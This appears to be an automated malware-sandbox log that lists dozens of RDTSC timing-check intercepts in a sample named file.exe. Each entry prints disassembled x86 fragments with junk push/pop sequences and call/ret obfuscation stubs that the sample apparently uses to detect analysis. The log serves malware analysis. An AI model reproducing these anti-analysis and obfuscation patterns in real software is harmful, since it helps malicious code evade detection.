Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3545A9 second address: 3545B3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE9047A81C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 353BF3 second address: 353BF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 357932 second address: 35793C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE9047A81C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3545B3 second address: 3545BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FE90543D6B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 353BF9 second address: 353BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 353BFD second address: 353C01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 357ED8 second address: 357EDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 357EDE second address: 357EEC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 357EEC second address: 357EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 358F6F second address: 358F86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 358F86 second address: 358F90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FE9047A81C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35817C second address: 358193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 js 00007FE90543D6B8h 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 359021 second address: 359025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35AE6D second address: 35AE86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE90543D6C5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35AE86 second address: 35AE8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35AE8A second address: 35AEA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007FE90543D6BCh 0x00000011 jnl 00007FE90543D6B6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35AEA1 second address: 35AEA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3591EB second address: 3591F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35AEA7 second address: 35AF03 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE9047A81C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FE9047A81C8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 add edi, dword ptr [ebp+122D1DBFh] 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 call 00007FE9047A81C8h 0x00000037 pop eax 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c add dword ptr [esp+04h], 00000014h 0x00000044 inc eax 0x00000045 push eax 0x00000046 ret 0x00000047 pop eax 0x00000048 ret 0x00000049 push 00000000h 0x0000004b adc ebx, 5F037083h 0x00000051 xchg eax, esi 0x00000052 push eax 0x00000053 push edx 0x00000054 push esi 0x00000055 pushad 0x00000056 popad 0x00000057 pop esi 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35AF03 second address: 35AF2F instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE90543D6CCh 0x00000008 jmp 00007FE90543D6C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jng 00007FE90543D6C0h 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35A0A5 second address: 35A128 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE9047A81C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push dword ptr fs:[00000000h] 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FE9047A81C8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov dword ptr fs:[00000000h], esp 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007FE9047A81C8h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 00000018h 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d add ebx, dword ptr [ebp+122D286Fh] 0x00000053 mov eax, dword ptr [ebp+122D14B5h] 0x00000059 or dword ptr [ebp+122D24EBh], esi 0x0000005f push FFFFFFFFh 0x00000061 mov bx, 78E6h 0x00000065 nop 0x00000066 jbe 00007FE9047A81D4h 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35A128 second address: 35A12C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35A12C second address: 35A142 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE9047A81CDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35BFD7 second address: 35BFDD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35A142 second address: 35A148 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35B092 second address: 35B097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35CF6D second address: 35CF73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35CF73 second address: 35CF8F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE90543D6BFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35CF8F second address: 35CF95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35CF95 second address: 35CF9A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35CF9A second address: 35CFC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D2680h], eax 0x0000000e push 00000000h 0x00000010 mov di, B07Ah 0x00000014 mov dword ptr [ebp+122D2638h], edx 0x0000001a push 00000000h 0x0000001c mov di, cx 0x0000001f mov dword ptr [ebp+122D1A05h], ecx 0x00000025 xchg eax, esi 0x00000026 pushad 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35CFC4 second address: 35CFCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35B097 second address: 35B161 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007FE9047A81D7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 call 00007FE9047A81D6h 0x00000015 jmp 00007FE9047A81D8h 0x0000001a pop ebx 0x0000001b push dword ptr fs:[00000000h] 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007FE9047A81C8h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 00000014h 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 push 00000000h 0x00000045 push eax 0x00000046 call 00007FE9047A81C8h 0x0000004b pop eax 0x0000004c mov dword ptr [esp+04h], eax 0x00000050 add dword ptr [esp+04h], 0000001Dh 0x00000058 inc eax 0x00000059 push eax 0x0000005a ret 0x0000005b pop eax 0x0000005c ret 0x0000005d mov eax, dword ptr [ebp+122D1619h] 0x00000063 mov edi, dword ptr [ebp+122D1890h] 0x00000069 push FFFFFFFFh 0x0000006b mov edi, dword ptr [ebp+122D298Bh] 0x00000071 nop 0x00000072 jmp 00007FE9047A81CFh 0x00000077 push eax 0x00000078 pushad 0x00000079 push eax 0x0000007a push edx 0x0000007b pushad 0x0000007c popad 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35B161 second address: 35B165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35F0E6 second address: 35F0FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jns 00007FE9047A81C6h 0x0000000f jne 00007FE9047A81C6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35D11B second address: 35D11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35D11F second address: 35D123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35E1BB second address: 35E1BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3602A1 second address: 3602A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 361234 second address: 361285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 jmp 00007FE90543D6C7h 0x0000000c nop 0x0000000d mov edi, 6DABA375h 0x00000012 push 00000000h 0x00000014 jmp 00007FE90543D6C9h 0x00000019 push 00000000h 0x0000001b mov edi, dword ptr [ebp+122D2AB7h] 0x00000021 xchg eax, esi 0x00000022 push esi 0x00000023 push eax 0x00000024 push edx 0x00000025 jno 00007FE90543D6B6h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 361285 second address: 361289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 361289 second address: 36129D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE90543D6BAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36129D second address: 3612A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FE9047A81C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3621F8 second address: 3621FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3621FD second address: 362215 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FE9047A81C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 364294 second address: 3642F0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jne 00007FE90543D6B6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov bx, 06CEh 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007FE90543D6B8h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f jnl 00007FE90543D6B6h 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edx 0x0000003a call 00007FE90543D6B8h 0x0000003f pop edx 0x00000040 mov dword ptr [esp+04h], edx 0x00000044 add dword ptr [esp+04h], 00000014h 0x0000004c inc edx 0x0000004d push edx 0x0000004e ret 0x0000004f pop edx 0x00000050 ret 0x00000051 xchg eax, esi 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 pop eax 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3642F0 second address: 364317 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE9047A81C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FE9047A81D5h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 364317 second address: 36431D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3671F4 second address: 36721E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE9047A81CAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3613A7 second address: 361406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov dword ptr [esp], eax 0x00000008 mov ebx, dword ptr [ebp+122D33C1h] 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007FE90543D6B8h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f mov dword ptr fs:[00000000h], esp 0x00000036 add bx, B000h 0x0000003b mov eax, dword ptr [ebp+122D150Dh] 0x00000041 push esi 0x00000042 and edi, 75607033h 0x00000048 pop edi 0x00000049 push FFFFFFFFh 0x0000004b or edi, 20B75AF3h 0x00000051 nop 0x00000052 push eax 0x00000053 push edx 0x00000054 jns 00007FE90543D6B8h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 363402 second address: 363498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push esi 0x00000007 jl 00007FE9047A81CCh 0x0000000d pop esi 0x0000000e nop 0x0000000f movsx edi, cx 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007FE9047A81C8h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov bh, 8Eh 0x00000035 xor edi, dword ptr [ebp+122D24F8h] 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 push 00000000h 0x00000044 push ecx 0x00000045 call 00007FE9047A81C8h 0x0000004a pop ecx 0x0000004b mov dword ptr [esp+04h], ecx 0x0000004f add dword ptr [esp+04h], 0000001Ch 0x00000057 inc ecx 0x00000058 push ecx 0x00000059 ret 0x0000005a pop ecx 0x0000005b ret 0x0000005c clc 0x0000005d mov eax, dword ptr [ebp+122D02C1h] 0x00000063 sub dword ptr [ebp+122D2680h], eax 0x00000069 push FFFFFFFFh 0x0000006b xor edi, 003DEA54h 0x00000071 push eax 0x00000072 push eax 0x00000073 push edx 0x00000074 jne 00007FE9047A81C8h 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 364535 second address: 364539 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 367371 second address: 367375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 367375 second address: 36737B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36737B second address: 3673A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE9047A81CBh 0x00000008 jns 00007FE9047A81C6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 push edx 0x00000014 ja 00007FE9047A81C6h 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 367491 second address: 36749A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36749A second address: 36749E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36E86A second address: 36E873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36E873 second address: 36E887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9047A81D0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37363D second address: 37366B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FE90543D6BAh 0x0000000e jmp 00007FE90543D6C9h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 375E70 second address: 375E75 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 375F61 second address: 375F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 375F66 second address: 375F97 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE9047A81C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f jnl 00007FE9047A81D2h 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a popad 0x0000001b popad 0x0000001c mov eax, dword ptr [eax] 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 375F97 second address: 375F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 376066 second address: 37606C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37AD0F second address: 37AD1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jnc 00007FE90543D6B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37AD1F second address: 37AD2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FE9047A81C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37AD2A second address: 37AD36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FE90543D6B6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 305C17 second address: 305C3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81CBh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE9047A81D7h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 305C3D second address: 305C41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37A419 second address: 37A41F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37A41F second address: 37A423 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37A423 second address: 37A43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE9047A81CFh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37A9E1 second address: 37AA02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007FE90543D6C4h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37AA02 second address: 37AA08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37AA08 second address: 37AA28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FE90543D6C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37AB6B second address: 37AB70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37AB70 second address: 37AB91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jl 00007FE90543D6B6h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38262F second address: 38264A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007FE9047A81CCh 0x0000000b pushad 0x0000000c popad 0x0000000d jno 00007FE9047A81C6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38694E second address: 386952 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
